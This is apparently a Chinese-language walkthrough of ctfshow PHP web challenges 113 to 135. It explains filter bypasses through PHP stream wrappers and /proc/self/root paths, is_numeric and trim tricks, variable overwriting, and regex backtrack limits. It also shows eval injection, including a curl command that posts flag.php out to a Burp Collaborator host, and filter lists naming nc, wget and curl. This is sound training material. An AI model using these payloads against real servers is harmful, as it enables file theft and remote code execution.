总结

113

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. error_reporting(0);
  4. function filter($file){
  5. if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
  6. die('hacker!');
  7. }else{
  8. return $file;
  9. }
  10. }
  11. $file=$_GET['file'];
  12. if(! is_file($file)){
  13. highlight_file(filter($file));
  14. }else{
  15. echo "hacker!";
  16. }

这道题在上一道题目的基础上过滤了php://filter,可以利用其他伪协议读取
比如

  1. compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。
  2. ZIP 扩展 注册了 zip: 封装器。 PHP 7.2.0 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。
  3. ?file=compress.zlib:///var/www/html/flag.php
  4. ?file=php://filter/resource=flag.php
  5. ?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
  6. ?file=compress.zlib://flag.php
  7. ?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

但是这道题的题解使用proc/self,自己查一下!

  1. ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

115 trim函数绕过+is_numeric()绕过

源码

  1. <?php
  2. include('flag.php');
  3. highlight_file(__FILE__);
  4. error_reporting(0);
  5. function filter($num){
  6. $num=str_replace("0x","1",$num);
  7. $num=str_replace("0","1",$num);
  8. $num=str_replace(".","1",$num);
  9. $num=str_replace("e","1",$num);
  10. $num=str_replace("+","1",$num);
  11. return $num;
  12. }
  13. $num=$_GET['num'];
  14. if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
  15. if($num=='36'){
  16. echo $flag;
  17. }else{
  18. echo "hacker!!";
  19. }
  20. }else{
  21. echo "hacker!!!";
  22. }
  23. ?>

trim函数

  1. 语法
  2. trim(string,charlist)
  3. 参数 描述
  4. string 必需。规定要检查的字符串。
  5. charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
  6. "\0" - NULL
  7. "\t" - 制表符
  8. "\n" - 换行
  9. "\x0B" - 垂直制表符
  10. "\r" - 回车
  11. " " - 空格

做个简单的测试 显示is_numeric的

  1. <?php
  2. for ($i=0; $i <128 ; $i++) {
  3. $x=chr($i).'1';
  4. if(is_numeric($x)==true){
  5. echo urlencode(chr($i))." ";
  6. }
  7. }
  8. ?>
  9. //%09 %0A %0B %0C %0D + %2B - . 0 1 2 3 4 5 6 7 8 9

接着是trim()

  1. <?php
  2. for ($i=0; $i <=128 ; $i++) {
  3. $x=chr($i).'1';
  4. if(trim($x)!=='1' && is_numeric($x)){
  5. echo urlencode(chr($i))." ";
  6. }
  7. }
  8. ?>
  9. //%0C %2B - . 0 1 2 3 4 5 6 7 8 9

所以我们只能用?num=%0c36绕过

123 125 126

这道题很难,做的时候仔细研究了wp

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. include("flag.php");
  5. $a=$_SERVER['argv'];
  6. $c=$_POST['fun'];
  7. if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
  8. if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
  9. eval("$c".";");
  10. if($fl0g==="flag_give_me"){
  11. echo $flag;
  12. }
  13. }
  14. }
  15. ?>

知识点一%5B绕过变量名.

首先在第一个if中post上传了一个CTFSHOW.COM的变量,但是php中变量名是不能够带.号的,如果上传的变量名称带.会自动转化为
看了大佬的wp,可以用%5B来代替.,原因是上面真的不了解,大佬也是暴力破解破出来的

  1. <?php
  2. function curl($url,$data){
  3. $ch = curl_init();
  4. curl_setopt($ch, CURLOPT_URL, $url);
  5. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  6. curl_setopt($ch, CURLOPT_POST, 1);
  7. curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  8. $response = curl_exec($ch);
  9. curl_close($ch);
  10. return strlen($response);
  11. }
  12. $url="http://127.0.0.1/test.php";
  13. for ($i=0; $i <=128 ; $i++) {
  14. for ($j=0; $j <=128 ; $j++) {
  15. $data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";
  16. if(curl($url,$data)!=0){
  17. echo $data."\n";
  18. }
  19. }
  20. }
  21. ?>

知识点二 命令行模式和网页模式

  1. 1cli模式(命令行)下
  2. 第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
  3. 2web网页模式下
  4. web页模式下必须在php.ini开启register_argc_argv配置项
  5. 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
  6. 这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
  7. $argv,$argcweb模式下不适用

这里有个QUERY_STRING的详解
解题
首先确保
POST上传了CTF_SHOW=1&CTF%5bSHOW.COM=1
接着上传get: a=1+fl0g=flag_give_me

  1. CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去
  2. 继续判断query string是否为空,
  3. 如果不为空把通过+符号分割的字符串转换成php内部的zend_string
  4. 然后再把这个zend_string复制到 arr 数组中去。

那么数组的第二个值就是fl0g=flag_give_me
之后再post上传fun=parse_str($a[1])
就将fl0g=flag_give_me这个字符串转换成$fl0g=flag_give_me了
完整的payload

  1. a=1+fl0g=flag_give_me
  2. CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

这道题还有非预期,直接再eval上搞事情

  1. post
  2. CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

127 变量覆盖

源码

  1. <?php
  2. error_reporting(0);
  3. include("flag.php");
  4. highlight_file(__FILE__);
  5. $ctf_show = md5($flag);
  6. $url = $_SERVER['QUERY_STRING'];
  7. function waf($url){
  8. if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
  9. return true;
  10. }else{
  11. return false;
  12. }
  13. }
  14. if(waf($url)){
  15. die("嗯哼?");
  16. }else{
  17. extract($_GET);
  18. }
  19. if($ctf_show==='ilove36d'){
  20. echo $flag;
  21. }
  22. ?>

变量覆盖,但是又waf,过滤了_这些字符,所以不能直接上传
直接上传CTF%5BSHOW=ilove36d就绕过了

128 gettex扩展

源码

  1. <?php
  2. error_reporting(0);
  3. include("flag.php");
  4. highlight_file(__FILE__);
  5. $f1 = $_GET['f1'];
  6. $f2 = $_GET['f2'];
  7. if(check($f1)){
  8. var_dump(call_user_func(call_user_func($f1,$f2)));
  9. }else{
  10. echo "嗯哼?";
  11. }
  12. function check($str){
  13. return !preg_match('/[0-9]|[a-z]/i', $str);
  14. }
  15. ?>

过滤了所有的数字和字母,然后去调用call_user_func(),emmm又是盲点

gettext扩展

在开启该拓展后 _() 等效于 gettext()

  1. <?php
  2. echo gettext("phpinfo");
  3. //结果 phpinfo
  4. echo _("phpinfo");
  5. //结果 phpinfo
  6. ?>

get_defined_vars — 返回由所有已定义变量所组成的数组
所以payload:_f1=&f2=get_defined_vars

  1. ?f1=_&f2=get_defined_vars
  2. var_dump(call_user_func(call_user_func($f1,$f2)));
  3. var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
  4. var_dump(call_user_func(get_defined_vars));

129 stripos绕过

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. if(isset($_GET['f'])){
  5. $f = $_GET['f'];
  6. if(stripos($f, 'ctfshow')>0){
  7. echo readfile($f);
  8. }
  9. }

stripos定位字符串中某一字符第一次出现的位置,这里只要出现了ctfshow就可以了

解法一:目录穿越

/ctfshow/../var/www/html/flag.php

解法二:伪协议读取

php://filter/read=convert.base64.encode | ctfshow/resource=flag.php
利用phpfilter伪协议,其中伪协议无效的话就会被过滤

130 数组绕过正则

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. include("flag.php");
  5. if(isset($_POST['f'])){
  6. $f = $_POST['f'];
  7. if(preg_match('/.+?ctfshow/is', $f)){
  8. die('bye!');
  9. }
  10. if(stripos($f, 'ctfshow') === FALSE){
  11. die('bye!!');
  12. }
  13. echo $flag;
  14. }

解法一:

数组绕过正则

  1. <?php
  2. $a = array('ctfshow');
  3. var_dump(preg_match('/ctfshow/',$a));
  4. //bool(false)
  5. var_dump(stripos($a, 'ctfshow'));
  6. //NULL

直接上传f[]=ctfshow

解法二:

直接上传f=ctfshow
因为正则匹配里是+号就是一次或者多次所以直接绕过了正则…阿泽

131 正则回溯

  1. PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
  2. 回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 0,而是 false。这样我们就可以绕过第一个正则表达式了。

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. include("flag.php");
  5. if(isset($_POST['f'])){
  6. $f = (String)$_POST['f'];
  7. if(preg_match('/.+?ctfshow/is', $f)){
  8. die('bye!');
  9. }
  10. if(stripos($f,'36Dctfshow') === FALSE){
  11. die('bye!!');
  12. }
  13. echo $flag;
  14. }
  15. ?>

解题脚本:

  1. import requests
  2. url = "http://961ef195-94e5-4f6f-90bd-eb20093794be.challenge.ctf.show/"
  3. data = {
  4. 'f':"a"*1000000+'36Dctfshow'
  5. }
  6. r = requests.post(url,data=data)
  7. print(r.text)

132 && || 优先级

访问robots.txt,会提示你/admin
直接访问得到源码

  1. <?php
  2. #error_reporting(0);
  3. include("flag.php");
  4. highlight_file(__FILE__);
  5. if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
  6. $username = (String)$_GET['username'];
  7. $password = (String)$_GET['password'];
  8. $code = (String)$_GET['code'];
  9. if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
  10. if($code == 'admin'){
  11. echo $flag;
  12. }
  13. }
  14. }

这道题的考察点在于&&和||的优先级

  1. a && b || c
  2. 应该理解成
  3. (a && b) || c
  4. 但是如果a是错误的 就会直接跳过b 因为(a && b) 一定是错误的
  5. 所以接下来就判断c 如果c是对的 整个语句都是对的

所以payload:?username=admin&password=123&code=admin

133 命令套娃加无回显外带

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. //flag.php
  5. if($F = @$_GET['F']){
  6. if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
  7. eval(substr($F,0,6));
  8. }else{
  9. die("6个字母都还不够呀?!");
  10. }
  11. }

解题

套娃

这里用了一个套娃
如果我们上传的是一个F=$F;sleep 3
那么在执行eval的时候会
这样执行
eval(‘$F ; ‘),截取这六个字符进行解析
而$F=$F;sleep 3
那么最后运行的效果就等于
eval(`$F;sleep 3`);所以我们访问网页的时候会sleep 3秒

外带

但是我们的确可以进行命令执行了,但是又怎么得到我们想要的数据呢,这里并没有回显
我们可以利用burpsuit 的Collaborator Client
操作如下
2BA(C8F71``{0I91MSMQ8LI.png点击copy to clipboard 会得到一个链接
然后get传参按下面的payload传 就能得到我们想要的数据

  1. payload:
  2. ?F=`$F `;+curl -X POST -F xx=@flag.php 6hokugw3tjr8vdj8f2yldiead1jt7i.burpcollaborator.net
  3. # -X POST 指定 HTTP 请求的方法为 POST
  4. # 其中-F 是带文件的形式发送post请求
  5. # xx是上传文件的name值,flag.php就是上传的文件

![7{73TLB)F%K8}P5J8W8W)6.png

134 $_SERVER[‘QUERY_STRING’]和extract变量覆盖

源码

  1. <?php
  2. highlight_file(__FILE__);
  3. $key1 = 0;
  4. $key2 = 0;
  5. if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
  6. die("nonononono");
  7. }
  8. @parse_str($_SERVER['QUERY_STRING']);
  9. extract($_POST);
  10. if($key1 == '36d' && $key2 == '36d') {
  11. die(file_get_contents('flag.php'));
  12. }

又是变量覆盖加$_SERVER[‘QUERY_STRING’]
直接get传参_POST[key1]=36d&_POST[key2]=36d
此时$_SERVER[‘QUERY_STRING’]=”_POST[key1]=36d&_POST[key2]=36d”
经过parse_str就会变成 $_POST[‘key1’]=36d;$_POST[‘key2’]=36d
之后经过$_POST变量覆盖那么就会key1=36 key2=36d

135

源码

  1. <?php
  2. error_reporting(0);
  3. highlight_file(__FILE__);
  4. //flag.php
  5. if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
  6. eval(substr($F,0,6));
  7. }else{
  8. die("师傅们居然破解了前面的,那就来一个加强版吧");
  9. }
  10. }

和133的题目其实一样,只时这里文件的权限高了,可以直接利用cp指令复制文件 到另外一个文件中,然后查看
payload:F=$F;cp flag.php flag.txt